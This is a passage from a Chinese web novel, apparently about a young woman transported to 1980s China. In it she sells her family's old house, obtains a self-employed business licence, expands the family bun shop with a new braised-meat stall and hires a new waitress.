轻声说：“我现在只想好好挣钱，不考虑个人问题。但是我要这么说，对方就会觉得还有机会, 所以为了永绝后患，又不至于太伤对方的面子，我才说自己有对象了。” “还永绝后患，小词儿挺多，你知不知道你这出儿等于断了自己的路啊，我的好闺女！”赵桂花又生气又惋惜。 林珊呲道：“什么路？靠男人的路？” “你、你这孩子！”桂花女士被顶得冒火。 林珊决定趁这个机会把话说清楚，“妈，我没考上大学之前，是不会考虑个人问题的。以后不管谁问，直接告诉他们我有对象就行了。” “你有啥对象！你想没想过随便瞎编这个，对姑娘家的名声有多不好？！”赵桂花想揍人。 林珊拍着她的后背给她顺气，“在乎这个我就别活了。我对郭峰没意思，总不能直接说看不上人家吧。不这么说，我还能怎么说？” 赵桂花不说话，开始生她闷气。郭峰都看不上，眼睛不要长到天上去了。动不动就说上大学，看来还是被杨清明和林兰给刺激大了。 大学那是一般人能考上的？十万人里都出不了一个大学生！ 唉，真不知这孩子为啥这么轴。 抬起眼皮见这孩子还眨着大眼等回复，赵桂花烦躁得很，“唉唉唉，气死我算了，你爱怎么样怎么样吧，反正我也管不了你！” 林珊温柔地哄了她几句，林红也来帮腔，就连大黄都提溜提溜地跑来凑热闹，小尾巴摇啊摇的，小脑袋看看这个，瞧瞧那个，可爱极了。 这边哄着大人，郭家那头一片低气压。 郭有财坐在客厅生闷气，郭广发两口子也觉得很遗憾，郭峰更是蔫了吧唧地靠在沙发上，连午饭都不想吃了。 谁能想到人家已经有对象了！弄了半天他们居然是剃头挑子一头热。 郭广发两口子不敢埋怨老爹，没问清楚就跟他们说这个事儿，而且仔细想想，人家姑娘全程都客客气气的，大方又得体，没有半点要找对象的害羞。 “行了，瞧你那没出息样儿。”郭广发踢了儿子一脚，“好姑娘到处都是，咱再找不就得了。” 郭峰一动没动，并没有被他爸安慰到。 郭有财重重叹了口气，“这事儿是我没问清楚。”总觉得把人家看得透透的，什么都知道了，这下不但丢了老脸，还把孙子给整神经了。 “行了臭小子，你给我像点儿样！”郭有财也给他来了一脚。 郭峰生无可恋，觉得自己可怜极了，好不容易喜欢上一个姑娘，居然还被人给抢先了！哼，为什么这世界上的好姑娘都有主儿了呢！ “我要回粤城。”他虚弱至极，急需离开这个伤心之地。 郭有财和郭广发夫妇没搭理他，这回换他奶奶给了他一脚，“出息！三条腿的蛤蟆不好找，两条腿的姑娘还不好找吗？” 初六开市，鞭炮一放，“爱国大肉包”正式开始营业挣钱。 因为还在年里，出来吃饭的人不是很多，但一天下来也能做个二十块出头。 王军晚上又来吃面了，他这个工作就没有多少休息的时候，每天疲惫地当完差，就盼着能去店里看看。总算是熬到了初六。 林红看见他进门，脸一下就烫了，赶紧低头做面。 王军跟赵桂花和林珊聊了两句家常之后，眼神就忍不住开始往林红身上瞟。 林珊本来以为他俩能说句话，结果一碗面下来，竟然一句话也没有。直到王军吃完要走了，这才对着林红那头说了句：“走了。” 眼神还不敢对上，只敢看着她那个方向。 林红心口一颤，人慌得差点把手里的面汤洒了。其实她想跟王军说声谢谢的，大黄那么乖巧，将来还能看家，可是真见了他，不知道怎么的就 一句话也说不出来了。 林珊在一旁默默地看着，心想这两个结过婚的人，未免也太纯了。让她这个局外人看得干着急。 准备关门的时候，老邻居周婶子骑着车过来了。说是旧房子找到买主了，纱厂车间的老张想给三儿子买来结婚用。 “老张家实在挤不下了，人家姑娘进门儿之后连个睡觉的地儿都没有，不买不行啊。”周婶过年串门的时候，碰见老张了，听说林老二家要卖房子，立刻托她来确认情况。 赵桂花一听有人想要房子，悬着的心稍微落下一些，之前她一直担心房子卖不掉，到时候给不全人家陈德旺钱就遭了。老张她也认识，都是一条胡同的邻居，家里什么情况也都清楚。 周婶子说：“老张让我问问你，明天要是有时间，他想上旧房子看看。” 赵桂花：“行啊，十点行不，早了晚了都有点儿耽误卖包子。” 于是第二天上午十点钟，卖完早上那顿之后，林珊和赵桂花回了旧家，让老张一家看房。 老张一家子工人，拿出一千多块来买房是不成问题的，但这毕竟不是小钱，所以不大点儿的地方，一家人看了又看，敲了又敲。 老张之前也看过好几家房了，就属赵桂花这房子还稍微大点儿。而且这院子就林富贵和老刘两家人住，不像别的院儿好几家人住一块儿。院子是有点小了，但是屋里的地方足够小两口生活了。 既然诚心想要，又念在邻居的份儿上，赵桂花主动便宜了五十块钱，要价1150块。 老张知道前阵子有家卖了一千二，见林老二家给便宜了小一个月工资的钱，立刻笑呵呵地接受了。谈成了买卖，所有人都开心。跟着签字据、交定金，等过两天区政府开门之后，过户交尾款就行了。 毕竟是知根知底的老邻居，赵桂花当天就把钥匙给了老张。 这房子没卖的时候怕卖不掉，真卖掉了，心里却空落落的。看着这住了大半辈子的屋子，现在要成别人的了，赵桂花眼泪瞬间决堤。林珊搂着她安慰了一会儿，理解她心里的难受。 这地方承载了桂花女士太多的酸甜苦辣，舍不得是人之常情。 老张的三儿子张卫军也安慰她：“婶子，没事儿，以后你要是想家了就过来看看，这房子我会好好护着的。” 赵桂花拍了拍张卫军的肩膀，感谢他的好意，“房子交给你们家我就放心了。” 搞定卖房的事，林珊拿了五块钱和一兜礼品，上门感谢周婶子。没想到婶子把礼留下了，硬是把钱给退了回来。 “咱就不来这个了，你三五不时就往我这儿送包子，我再收你的钱算什么啊。”周婶子说啥也不肯要。 林珊只好把钱收回来，笑着说：“以后继续给您送包子吃。” “那敢情好！”周婶子爽朗地笑了，她确实喜欢吃爱国大肉包，家里做的跟人家的没法儿比。 两人聊了会儿家常后，林珊凑过去小声问她：“婶子，我之前听您说您弟妹是工商局的？” 周婶子点点头，“是啊，咋了？” 林珊今天过来其实还想请周婶帮忙牵个线。 她没记错的话，八五年开年之后没几个月，全国就要刮起一波整顿个体户经营的风了。 “爱国大肉包”开铺的时候，并没有办工商证。不是她不想办，是这个时候的个体经营根本没有正规化，灰色地带的东西，所有人都睁一只眼闭一只眼。你要上赶着去弄，就等着对方刁难吧。花钱多不说，还得找关系。不然压你三五个月，回家慢慢等去吧。 但是八五年之后，很多新政策都开始陆续推行了。上面发现挡住不大趋势，索性要把这一大批不正规的铺子分拨处理，可以整改的整改，不能的直接取缔。 林珊想要趁着个空档口，抓紧找人把证办了，不然到时候一严查，耽误买卖不说，花的钱更多，还不一定能办成。 “……所以，我想请婶子帮忙搭一下线，钱的事儿不是问题。” 周婶笑了，“我还以什么大事儿呢，不过这你可真是找对人了，我弟妹在单位就专门办|证的。” 林珊喜出望外：“那就太好了！”俗话说县官不如现管，就算找到局长，他也得往下一层一层吩咐人去干。 好好感谢了周婶子一番后，林珊跟她约好明天和她弟妹见见面。 第28章 第28章 个体户执照 回去之后, 林珊告了个假，明天中午那顿她不能在店里忙了。 既然要请你人办事，总没有站在路边说话的道理, 她约的地方就在城西区政府旁边的国营饭店。说说事儿，吃吃饭, 咨询一下需要什么材料办手续。 赵桂花听了林珊的解释之后，明白了这个证的重要性, 恨不得让她现在就去请人吃饭。 林珊笑了，“倒也不用这么急, 证的事儿能搞定的, 你们就放心好了。” 赵桂花和林红在这些事上一向听她的，林珊说能搞定, 她们也就真得安心不少。不知道从什么时候开始, 珊丫头已经渐渐成了家里的主心骨了。 洗漱完毕, 又跟大黄玩儿了一会儿之后，林珊回屋算账。 营业额, 卖房子的钱, 食材开销, 房租水电，新房尾款和利息，还有日常花销，加加减减之后，林珊更加确信可以加大铺子规模了。 刨去一切开支, 手里富余的钱完全够她扩大经营范围和招人。 包子铺旁边的烧饼店生意不太行, 老板年前说过，年后他们就不干了，要换个地方摆摊去。林珊当时就有想法把铺子租下来, 但是年前事儿太多了，根本没顾上。 这铺子也是郭有财的，到时候两间打通，跟他说一下应该没什么大问题，不过现在最要紧的还是把执照先办好。 次日上午林珊提前到了国营饭店，服务员就跟其他穿越同行形容的一样，非常趾高气昂，不过倒是没不让她点餐。南方有很多地方流行在客人来之前先把菜点好，但在安河这边都是客人来了一块儿点，看看人家想吃什么，商量着来。 林珊把今天的特色菜都看了一遍，心里稍微有个数。没坐多久，周婶子和她弟妹就一块儿骑车过来了。 周婶的弟妹叫黄丽娟，四十出头的年纪，戴着一副小眼镜，长得特别面善。三人热情地打过招呼后，入座点餐。林珊请她们点，周婶子和黄丽娟却让她拿主意。 “本来在家里聊就行，你非得上这儿来破费。吃的方面我们俩没你懂，你说吃啥咱就吃啥，别点太贵的就行。”周婶子叮嘱道。 黄丽娟也笑呵呵地把菜单给她，林珊就不再客气了，直接点了三荤一素，配上一道汤。其中有一道是招牌鲈鱼。 虽然刚过完年家里伙食都还不错，但林珊点的这几道菜，都属于家里做不出来的味儿，这让吃烦了炸货和剩菜的三人，一时间胃口全开。 饭桌上，周婶笑着表扬了林珊很久。 黄丽娟来之前就听大姑姐说过这小姑娘不容易，家里没了顶梁的，小小年纪却特别能干，不仅开了包子铺，现在连房子都买了。而且刚才一看到人，发现长得那叫一个漂亮啊。说话办事更是敞亮，完全挑不出半点毛病。 林珊求人办事，自然也表达了很多对周婶子和黄丽娟的感谢和赞美。 客套话说了不少，饭也吃到一半之后，林珊把自己包子铺的情况说了一下。黄丽娟听完，三言两语就把现在办|证需要的手续，给她解释得一清二楚。 末了，还不忘夸林珊：“你真挺有远见的，四月份开始我们确实就要严抓这个了。现在没什么人来办，到时候挤破头都不给办咯。” 跟着她把林珊需要带的东西、花费多少等一系列事情说完，告诉她：“我后天开始上班，你要是能弄齐资料，直接上单位找我就行。对了，记得再带上一张小照片。” “好的婶子，实在太感谢您了！”林珊本来以为就算搭上线，也得来来回回几趟 才能搞定，没想到黄婶子说话办事这么利索。等弄妥一切之后，她一定要好好送份礼给人家。 吃过午饭后，林珊回到铺子把情况一说，就开始准备材料了。照片现照来不及，照相馆要过完小年才开门，而且就算拍好了也得好几天才能取出来。幸好家里有她之前拍的那种两寸大小的黑白照片，应该可以用上。 初九一大早，林珊带着资料去了工商局。 黄丽娟一看她把东西准备得整整齐齐，心里那叫一个舒坦。她最烦那种说了几百遍要带着什么，临了□□了，才发现这个没有，那个不对的，纯粹瞎耽误工夫。 她麻利地翻看完林珊的资料，抽出一张印有“个体工商营业执照”的硬纸，开始手写信息。姓名，资金，从业人员，生产经营范围，营业地点等等，纸张虽然不大，内容倒是不少。 挨个填完之后，黄丽娟把林珊带来的小照片往右上角一贴，工商局的大章一盖，基本完事儿。最后再把写好的硬纸套进一个蓝色的塑料皮里，彻底完工。 黄丽娟笑着把证递过去，“好了。” 林珊恭敬地双手接回，看着这本崭新的个体户经营执照，心里有点小激动。从此就是有身份的人了，小小的蓝本本，预示着时代真的要变了，改革不再仅限于深城沿海，新的春风即将吹满华夏大地，那个处处都有金可捞的时代正式到来啦。 再次感谢完黄丽娟之后，林珊飞速骑上自行车回去卖包子了。时不我待，不抓紧挣钱，还等什么呢。回到店里她把蓝本本往赵桂花和林红面前一放，俩人立刻惊喜地围过来翻看。 赵桂花拍拍胸口：“谢天谢地办下来了，这证可得放好啊，千万别弄丢了。” 林珊：“放心吧。” 林红摸着小蓝本，心里也美滋滋的，感觉腰杆一下都挺直了不少。 林珊看俩人高兴，顺便把铺子扩张的事情说了。 赵桂花一听又要花钱，立马拍桌反对：“不行不行不行！” 林珊耐心地对她和林红解释店里的情况，“年前咱的营业额基本每天都在涨，说明包子和面非常受欢迎。但是因为人手和店面限制太多，所以每月撑死做到五百营业额。咱这片儿的人流量非常大，很多人买不到包子，等不到位子吹面就都走了。这些可都是溜出去的钱啊，必须想办法把他们留住。” 赵桂花发愁：“那得多少钱啊，再装一个铺子可不是小事儿，现在咱已经忙不过来了，再搞大还不得累死！” 林珊：“请人啊。” “啥？！”赵桂花疯了，“才挣几个钱你就想请人了！不行不行，绝对不行！” 林珊叹气：“不扩店面不请人，咱仨守着这个包子铺一辈子？” 赵桂花和林红虽然没出声，心里想的却是守一辈子也挺好的啊。 林珊一看那表情就知道了，无奈地笑道：“妈，姐，社会是在发展的，咱们不跟着进步，迟早要被淘汰。没有人能守着一个东西一辈子，包子不改良，店铺不升级，总有被淘汰的一天。” 跟着她从一开始摆摊卖包子开始，到现在铺子升级，用最浅显的语言，把商业的基础说给她们听。 “……信任、满足客户需求、提供服务。想挣钱咱们不但要做出真材实料的包子，还得提供好的用餐环境，以及热情周到的服务。所以当初我花钱也要把铺子装修好，为的就是让顾客一进来就觉得这铺子干净整齐又靠谱，产生那种‘爱国家的肉包不仅好吃，品质还特别让人放心’的信任感。服务这块儿一直是我在招呼客人，即使咱再热情周到，长时间买不到、等不到位置，人家慢慢也就不来了。咱做生意的，不能让顾客产生那种‘他家东西不错，但是买一次太费劲’的想法，咱们要把客人内心所有的障碍都扫清，让他们一想起咱家，就是‘他家东西好吃，地方又大又干净，服务还特别好’才行，只有一直做到这三点，咱们才能让不断的让人家心甘情愿地买单。” 林红消化了半天，缓缓地点了点头。赵桂花一开始听得云里雾里，后来林珊一解释，她也就明白了。 但是，“咱手里的钱哪够吗？” “够，账我早算过了。”林珊知道她这是松动了，“妈，做生意都是有风险的，不然早满大街都是财主了。你跟我姐这么信任我，我是不会让你们失望的。我算过风险，觉得它可控我才决定干的，不会让咱们最后啥都没有，还落一屁股债的。” 有了林珊这些保证，再加上说的确实在理，赵桂花也就不再说什么反对的话了。 林珊抱了抱她俩，有点感性地说：“等以后铺子能腾出手了，咱们也出去逛逛，先从省城开始，京市、沪市、粤市，哪里好玩儿咱就上哪儿。” 赵桂花和林红从来都不敢想这些，听了林珊这话，只觉得她胆子大、太敢想了。不过胆子大也有大的好处，不然她们家到现在，恐怕连顿顿白面都吃不上呢。 林珊之所以细细地把想法讲给她们听，也是为了大家能够共同进步。孤木不成林，既然有缘成了家人，就不能半路随便把谁落下。 商量好大事，林珊抽空就去找郭有财了。 本来出了郭峰的事儿之后，她有点犹豫要不要过些天再登门，但是除了怕去晚了铺子盘出去，她还想趁着没过小年之前，客人不算特别多的时候，着手另一间门面的装修。 经过几天的调整，郭有财已经基本恢复正常了，除了看着林珊的时候，还带着些许“你为啥没早告诉我”的怨气外，其他一切正常。 郭广发一家昨天就启程南下了，恰好避免了见面的尴尬。 郭有财说：“你这铺子才开多久，就想搞大了？好多人店一大就倒闭，你想好了？” “想好了，您就租给我吧。”林珊笑着点点头，满脸期待地看着他。 郭有财叹气：“行吧，还按一样的价儿。” “谢谢爷爷！”林珊开心地付了钱，拿了字据和钥匙，一溜烟就跑走了。 郭有财在门口看得直摇头，多好的姑娘，竟然被人抢走了！ 两天后，林珊带着赵桂花去区政府，把旧房子过户给了张卫军，尾款正式到手。 再次没等桂花女士把钱焐热，林珊就又要花钱了。 第29章 第29章 全面升级 旁边那间店面的装修, 还是按照旧的来，统一白色简约风格。灶台砌在右后角，这样等两个门面之间的墙壁打通之后, 灶台会跟原来的后厨处在一个区域，同时中间又留有走动的空间。 其他的地方, 则全部摆上桌凳。 上次她们是自己刷的墙和门，这回为了不耽误卖饭, 就全交给师傅们来做了。因为徐大爷上次已经帮她们砌过台面和大灶了，所以非常清楚林珊想要什么样的效果。 本来徐大爷不过小年是不准备开工的, 但谁让林珊会来事儿, 之前一共给她家干过两次活，不但次次痛快结完工钱, 开工期间还会送来包子和茶水。念在这些情分上, 他召集了几个人, 年里就帮她开整了。 铺子的问题解决，接下来就是搞产品, 扩大营业之后不能只卖原来那些东西了。包子要再加两种馅儿, 面也要多上猪杂面, 最重要的是她要增加一个熟肉摊。 肉联厂的江国平能给她弄来不少猪下水，不卤猪杂，更待何时。而且安河这边的人，平时改善生活的时候，就有买熟肉的习惯。回去香油、醋一调味儿, 配上小酒一酌, 那叫一个美。 熟肉她不准备走低价策略。安河市面上的熟肉摊一般不给调味，她店里是要调味的，配上洋葱、香菜调, 旁边炸好的花生米另算价格。熟肉既可以在店里吃，也能买回家。默认调味，不想调的一斤便宜两分钱。 林珊娘仨白天忙着卖包子，夜里不停地做卤肉，试包子馅儿。 猪下水味道不好，需要好好去腥，还要让肉既有卤味又不失本身的鲜味，所以这个时候的卤肉方子很难求。但是在后世互联网上，一大堆教人怎么做的卤味的。林珊列出好几个方子，每晚都会跟林红一块儿加加减减，尝试哪一个方子做出来的好吃。 他们准 备主卖猪头肉，心肝肺和大肠做辅助。由于这些不同的部位，需要的火候不同，更是要试很多次才能拿捏出下锅的最佳时间。搞了一个星期，天天弄得满屋满院都是肉味儿，才终于卤出了既有卤香又有肉香，还带有独特鲜味，且一点都不腥的熟肉。 包子馅儿也是如此，试来试去，最终留下了酱辣豆腐和腐乳肉两种馅儿。这两个都是林珊上辈子爱吃的包子馅儿，非常清楚里面调味料都有什么，试着做出来之后又按照林红的意见，添添减减一些比例，最终才确定下来。 新品做好之后，林珊挨个送到王大娘、郭有财和周婶子家去了，请他们尝尝味道，给些意见。结果一个个的反馈都是太好吃了，赶紧开卖。 熟肉摊最受欢迎的猪头肉定价1.5元一斤，猪肝猪肺猪心1.3元，大肠9毛。大杂烩一斤卖1.25元。虽然这些肉洗得时候麻烦，但是利润大啊。 林珊这次虽然没有走低价策略，但也不会狮子大开口，定价只比其他市面上的熟肉贵了1毛而已，况且她还管调味。 装修快收尾的时候，林珊去集市拼了八套旧桌凳，统一刷成白色。然后再把原先玻璃上的那些“烧饼”字样洗掉，重新写上自家卖的包子、熟肉和汤面类型。最后再趁一个人少的下午歇一下业，把中间的墙打掉，砌一下毛边，装修就大功告成了。 产品和装修都搞定之后，就是招工了。赵桂花有点想让赵福的老婆王芳过来帮忙，林珊觉得不合适。 她们铺子每天都忙到很晚，王芳一个人回村里太不安全了，常年住她们家也不合适。而且安河这边目前还不让农村户口进城打工，万一被哪个不怀好的人举报的话，又是一装麻烦事儿。反正是掏钱雇人，就别给自己找麻烦了。 林珊把招工的牌子挂出去不到半天，就有三、四个人来问了。不过简单一面试，人就都被pass掉了。不是谎报岁数，就是谎报文化程度，明明白头发都有了，非说四十出头，明明不识字，非说初中文化，还有一个上来就要求一个月给二十。 林珊赶紧送走这几尊大神，准备看看邻里间有没有合适的人选。谁知还没轮到她去细想，傍晚的时候，周婶子就过来介绍人了。 “是我娘家表姐的闺女，十八了，人稍微有点儿愣，但是干活一点儿问题没有，力气特别大。你要是觉得行，我就叫她过来试试？” 林珊笑着说：“我这一个月最多只能给十五块钱，她要是不介意的话，就过来试试吧。” 别说愣，就是傻子，林珊也得给周婶子这个面子不是。更何况她要找的是服务员，能把活干明白就行。 “不介意不介意，能挣个钱就行，那我明天早上带她过来？” “好嘞。” 次日早上九点钟，周婶子按时把人领来了。姑娘名叫李娜，梳着两个麻花辫，高高壮壮的，个子比林珊还高出半头。她脸型偏方，五官偏大，单看面相挺凶的，笑起来却又像小孩子一样，透着股单纯劲儿。 林珊把铺子的情况简单介绍了一下，“一个月十五块，包吃，哪儿缺人了去哪儿搭手，挺辛苦的，你可以吗？” 李娜立正：“可以！” “……”林珊怔愣片刻，笑了，“好的，那你今天可以开始上班吗？” “可以！”李娜声音洪亮，回答问题的时候站得跟个军人似的笔挺，透着股说不出来的好笑劲儿。 周婶子不好意思地冲林珊笑笑，拽了拽李娜让她正常点儿，可惜李娜没会意，以为周婶子是在替自己高兴，还扭过脸冲她笑了笑。 周婶子尴尬得不行，凑过来小声对林珊解释道：“就是稍微缺根弦，别的都没毛病。” 林珊笑着点点头，“没事儿，这又不是什么大问题。” 周婶子感激地谢了谢林珊，这个情她记下了。跟着她把李娜叫到一边，好好交代了一通之后，不是很放心地走了。 林珊趁这会儿没什么人，简单对李娜小小地培训了一下。说是培训，其实就是告诉她店里干活的标准。碗要洗多干净，桌子要擦多亮，点菜要怎么弄，写到哪儿，交给谁，以及包子和面都多少钱，这些最基本的东西。 另林珊意外得是，李娜接受起来一点也不慢，算数也算得挺明白。除了每次听明白之后，都要像军人接受命令似的喊上一句“明白”，其他没啥毛病。 “娜娜，咱以后说话稍微轻点儿就行，不用刻意喊出来，可以吗？” 李娜立正站好，用刻意压低了不少的声音说：“可以！” 林珊：“……”行吧，有仪式感就有仪式感吧，声音降下来就行，估计这丫头在家里接受的是军事化教育。 赵桂花本来对李娜不是特别满意，她想找个伶俐点儿的，结果一天下来，发现这丫头确实能干，让干啥就干啥，不打岔，吩咐过得事儿都记得，客人也能接待。 林珊教她礼貌待客，林红教她备菜，赵桂花教她卖包子，她老老实实的跟在屁股后头照葫芦画瓢，别看动作生硬，学得倒是挺快。 一整天下来赵桂花已经接受这孩子了，不过这一顿饭要吃两个包子一碗面，饭量属实不小。 夜里下班的时候，李娜爸妈还来接她了，一见自家闺女正埋头在店里吃面，俩人顿时有点儿不好意思。 李家不缺钱，李爸在玻壳厂上班，李妈在服装厂上班，儿子在当兵，家里就这么一个宝贝疙瘩。之前他们也不是没给孩子找过更好的工作，结果这丫头每次都是干不了半天，就自己跑回来了。说人家笑话她，不喜欢她。 包子铺这活儿本来他们不想让她来的，可是海燕也就是周婶子，非说林家人好，而且铺子就在家门口，大姑娘家家的也不能一直在家干坐着，就算是出去见见人也好。俩人这才同意让孩子过来的。 两口子对“爱国大肉包”可不陌生，还吃过不少呢，里面什么情况他们基本都清楚。本来还以为孩子会跟以前一样，没多久就自己跑回去了，结果俩人下班了还不见她回家。这才想要一块儿过来看看。 谁知道刚到门口，就见这妮子吃得那叫一个香，边吃还边抬头对人家傻笑。 李家父母不好意思地走进店里跟林珊娘仨打招呼，却意外收到了林珊对孩子的表扬。 “吃这点儿东西算什么啊，娜娜特别能干，学东西也很快，一整天都没闲着，也不喊累。”林珊是真心对李娜特别满意。 李娜一听自己被表扬了，笑得别提多开心了。 李家父母看见她这个样儿，就知道这孩子有多喜欢在这儿待着了。连傻子都能分出个好赖来，对于不喜欢自己的人，一早就躲得远远的，更何况她闺女一点儿都不傻。可见林家对她确实不错。 李家父母真诚得表达了一番感谢，对孩子来这上班的事儿，稍微放心一些。 人员到位，装修完工，产品也全部就绪了。次日诸事皆宜，林珊全店上新，开卖熟肉啦。 第30章 第30章 开卖熟肉啦 由于之前装修的时候, 林珊就在店里说了自家要卖熟肉的事儿，所以正式开卖的时候，铺子一下就被挤爆了。 林珊也没想到这才刚出了年, 跑买熟肉的人居然就有这么多了。 虽然早上的时候还是买包子和面的多，但是到了中午和下午, 熟肉那边居然排起大长队来了。 林珊赶紧用纸笔写了号发给大家，让大家可以坐着等, 不用干站着。林红则在熟肉摊前上称、改刀、调味儿，动作麻利得很。 大家对猪头肉情有独钟, 心肝肺和大杂烩也有人买, 就是卤大肠没什么人要，要大杂烩的还会叮嘱一句少放大肠。 林珊见状只能拿出半根切成小段, 让大家先尝后买。 果然不要钱之后, 尝得人就多了, 只要是吃过的，就没有一个不惊喜的。 安河这边没有跟大肠有关的特色菜, 老百姓平时也不爱吃这个。这回一尝她家的卤大肠, 可不就像是打开了新世界似的。 大肠九毛一斤, 顿时开始常畅销起来，买大杂烩的也不说不要人家了。 新出的两款包子，也很受欢迎，尤其是腐乳肉包。 一个大哥给香迷糊了，“哎呦呦, 要是早知道腐乳肉还能做包子, 过年家里还费那事儿干啥啊，直接上你这儿来买多好啊。好吃，太香了！” 腐乳肉包是全店最贵的包子, 八分钱一个，个头跟纯肉包一样大，主要用料扎实，还需要用到腐乳，卖不了太便宜。 豆腐包子也有不少受众，一个大娘就非常喜欢：“我刚才还心思豆腐馅儿能多好吃，结果你看，一个下肚不够，我还得再买俩回去！” 豆腐包跟酸菜包一个价儿，做的数量没有肉包多，还没到下午就不够卖了。 猪杂面是卤味的，所以口味有点儿重，跟大骨肉丝面不是一个类型的，这可让爱吃重口的几个老爷们儿开心坏了，再把那辣椒、醋一放，直呼明天还得再来上一大碗才行！ 捧场的人不少，王大娘和王军都来了，周婶子也过来了，郭有财就更不用说了，把老伴儿也带来吃面了。 “你这猪头肉煮得好啊，洋葱和香菜一调，味儿别提多正了！”郭有财提议：“回头你再搞点儿酒水来卖，挣的钱能翻番儿。” 林珊不是没想过这个，实在是这年头烟酒管控得非常严格，她们孤儿寡母的，关系还没硬到可以光明正大的私卖酒水。 改革开放也是逐步来的，不是一下就什么都能做的。有多大能耐使多大力，不然步子跨大了，容易扯着裆。 不过即使不卖酒水，一天营业额也翻番儿了。这才第一天，很多人还不知道她家开始卖熟肉了，等过一阵儿迎来高峰期之后，才知道上线在哪儿。 王大娘和王军也夸味道好，比之前送给他们试吃的时候还香。连花生米都炸得恰到好处。 林珊笑着说：“这全靠我姐，她是我们家的大厨，对味道特别敏感。” “那可太厉害了。”王大娘笑着夸奖林红，穿过人群看向林红忙碌的身影，真是越瞧越满意。就希望她家傻儿子能加把油。 王军也没克制自己，一直不停地朝林红看过去，反正这会儿人多，没人会注意到他。看着林红动作这么麻利，这么多人等着，她一点儿都不慌，还面带微笑地耐心询问客人要什么、不要什么，他心里一阵佩服，真能干啊，一点缺点都没有，怎么能这么好呢！ 林珊短暂跟大家聊了一会儿之后，赶紧去忙了。原本她还担心李娜应付不来，结果这丫头就像个机器人似的，见盘子就去收，见脏桌就去擦。林珊教给她的东西，全部记得清清楚楚，干起来非常投入。 林珊表扬了她几句，搞得这丫头顿时干得更起劲儿了。 忙了一天之后，林珊特地留了些熟肉让李娜带回家给爹妈尝尝。 李娜立正站好：“我不能要。” “这是犒劳你的，今天辛苦了娜娜同志，拿回去请家里人尝尝吧。”林珊笑着把肉包好放她手里。 李娜一听是犒劳自己的，就觉得好像是可以拿的，再看林珊都放她手里了，更加明确可以要了，于是她笑着一鞠躬：“谢谢老板！” 林珊被她逗乐了，“不是说让你叫我姐嘛，咱铺子不兴这个。” 李娜再次立正站好：“好的姐！” 她这一搞，把赵桂花和林红也都逗笑了，像看小孩子似的看着她。 忙碌了一天的林珊娘仨，夜里回到家开心地数起了钱。当看到足足有七十多块的时候，一天的疲惫在这一刻，就什么都不是了。 “姗，妈以后都听你的！”赵桂花抱着钱笑开了花，她怎么也不会想到，自家能一天就赚到别人一个月的钱！简直就是祖坟上冒青烟了！ 林珊笑道：“这才哪儿到哪儿啊，以后会更多的。”刚开年消费还没恢复，等过一阵儿才会迎来高峰期，熟肉冬天都能卖动，更何况天气暖和之后了。 原本她有想过要加卖小菜，但是需要准备的东西太多了，利润也不高。肉包子铺卖得太杂，会让人搞不清重点。以后熟肉要是卖成了爆品，她会单拎出去的，但时候再加小菜也不迟。现在还不到精细化的时候。 因为加了个人，所以虽然卖得东西多了，但是这一天下来，也没有比平时更累多少。 林珊就是有点儿担心林红，“姐，以后咱们三个轮班儿试试，不能老让你一个人在后厨。” 林红笑着摇头：“我不累，感觉跟平时没什么区别。” 林珊见到她虽然都这么晚了，看起来却还是精神抖擞的，但这也可能是因为刚开始干精神兴奋，以后时间长了，身体估计要吃不消的。 店里的事儿她们有个大致的分工，不过忙起来的时候都是哪儿需要上哪儿去。 林红见林珊还在琢磨，小声说：“我喜欢做饭，在后厨待着舒服，你就别叫我上前面卖饭去了。” 林珊明白把合适的人，安排到合适位置上的重要性，她确实也担心桂花女士负责调味儿和做面的话，口味会变，毕竟一个人一个味儿，再加上“舍不得”这三个字深入桂花的骨髓，做出来的东西非常有可能变得很平淡。 所以思考了一下之后，林珊决定还是按照现在的模式走，“不过姐，煮面那块儿你就只负责调味就行，剩下的杂活就别做了。” 林红知道妹妹是为她好，轻声安慰她：“我会看着办的，真累了我就休息休息。” 林珊点点头，只能暂时如此了。 上新品的事儿打响了头一炮，剩下的就是全力冲刺业绩了。铺子还处在初级阶段，用不上什么宣传手段，口口相传就能达到效果。 林珊洗漱过后，躺回床上思考明天要做的事。除了忙铺子，她还要抽空去置办一下礼品送给黄丽娟，毕竟人家帮了那么大的忙。 这年头送礼基本都是吃的，再或者贵点儿就是烟酒之类的。林珊也没能免俗，买了些糕点和水果，再配上一条烟，抽空给黄丽娟送到家了。 黄丽娟没想到林珊事后还会来给她送东西，一般找人办事儿请顿饭就行了，那天在国营饭店吃得那顿可不便宜，今天这些手笔又不小。而且听说李娜现在也在人家铺子上班，这人情等于还过了，没想到人家居然还会登门来感谢她。 黄丽娟这下是打从心里觉得，林珊虽然年纪小，办事儿可太敞亮了。 林珊也不傻，除了真心感谢之外，她更想跟黄丽娟处好关系。毕竟做生意的，哪个能不跟工商打交道。尤其是从八十年代末到千禧年初期，工商部门那叫一个强势，权力大得很呢。 办完了事儿回到铺子，林珊收到了邮递员同志送来的两封信。 一封是陈德旺爷爷寄来的，收到她房屋汇款的收据，一封是贺正岩贺领导的回信。 贺正岩的信很简单，感谢她们寄来的年货，他过年的时候做了，味道很好，希望她们不要再破费了。然后预祝她们买房和店铺升级的事一切顺利，最后是祝福包子铺生意兴隆，母女三人平安健康。 林珊夜里回了封信给他，报告了一下新房子的状况，店铺的进展，以及再一次邀请他路过安河的时候，尝尝铺子的饭菜。虽然知道贺正岩不想让她再花钱寄东西了，但是家里出了新品，而且在信里也说了，林珊就准备再寄过去一些卤味和包子给他。 趁着天冷的时候还能寄，请他打打牙祭，不然开春之后天一热，想吃都寄不了了。 林珊包肉的时候，突然觉得自己为了维护这段儿人际关系，有点像后世的舔狗，就是那种“你我本我无缘，全靠我主动”的小哈巴舔狗。 不过这也是没办法的事，谁让她没穿成小公主呢。一切在未来有可能用到的人，都要努力结交。再说了，她之前为了应付郭有财，刻意捏造的那 个对象，灵感来源就是人家贺领导。 从某种层面上来说，她这也算是占人家便宜了。给点儿吃的，不是应该的嘛。 怀着这种心情包好包裹，塞好信，林珊花了三大块之后，把这箱沉甸甸的吃食给邮走了。 30-40 第31章 第31章 洗脑大师 林富贵最近在忙着倒买倒卖的事儿, 疏通了大半个多月的关系，总算让刘刚能多跑两趟车了。 办成了大事儿，他夜里能睡着了, 饭也吃出味儿了，看大儿子一家也顺眼了, 就连张卫军一家搬进来住，内心都没有太大的波澜。 林兰回学校之前, 再一次千叮咛万嘱咐，让他低调挣钱, 其他都不要管。 林富贵这次是真记住了, 他要趁二儿子爱军从局子出来之前，挣够充足的本钱, 